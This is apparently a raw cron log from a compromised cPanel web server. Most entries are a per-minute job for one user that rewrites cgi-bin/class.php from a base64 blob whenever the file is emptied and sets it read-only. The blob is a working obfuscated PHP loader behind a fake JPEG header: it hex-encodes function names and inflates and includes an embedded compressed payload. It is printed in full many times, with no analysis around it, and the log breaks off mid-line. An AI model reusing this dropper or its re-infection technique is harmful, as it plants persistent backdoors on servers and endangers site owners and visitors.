Nov 11 21:21:01 server CROND[26502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:22:01 server CROND[27393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:23:01 server CROND[28257]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:24:01 server CROND[29014]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:25:01 server CROND[29863]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:25:01 server CROND[29864]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:25:01 server CROND[29865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:26:01 server CROND[30742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:27:01 server CROND[31721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:27:01 server CROND[31722]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 21:28:01 server CROND[32488]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:29:01 server CROND[594]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:30:01 server CROND[1571]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:30:01 server CROND[1573]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 21:30:01 server CROND[1574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 21:30:01 server CROND[1572]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 21:31:01 server CROND[2461]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:32:01 server CROND[3303]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:33:01 server CROND[3961]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 21:34:01 server CROND[4775]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 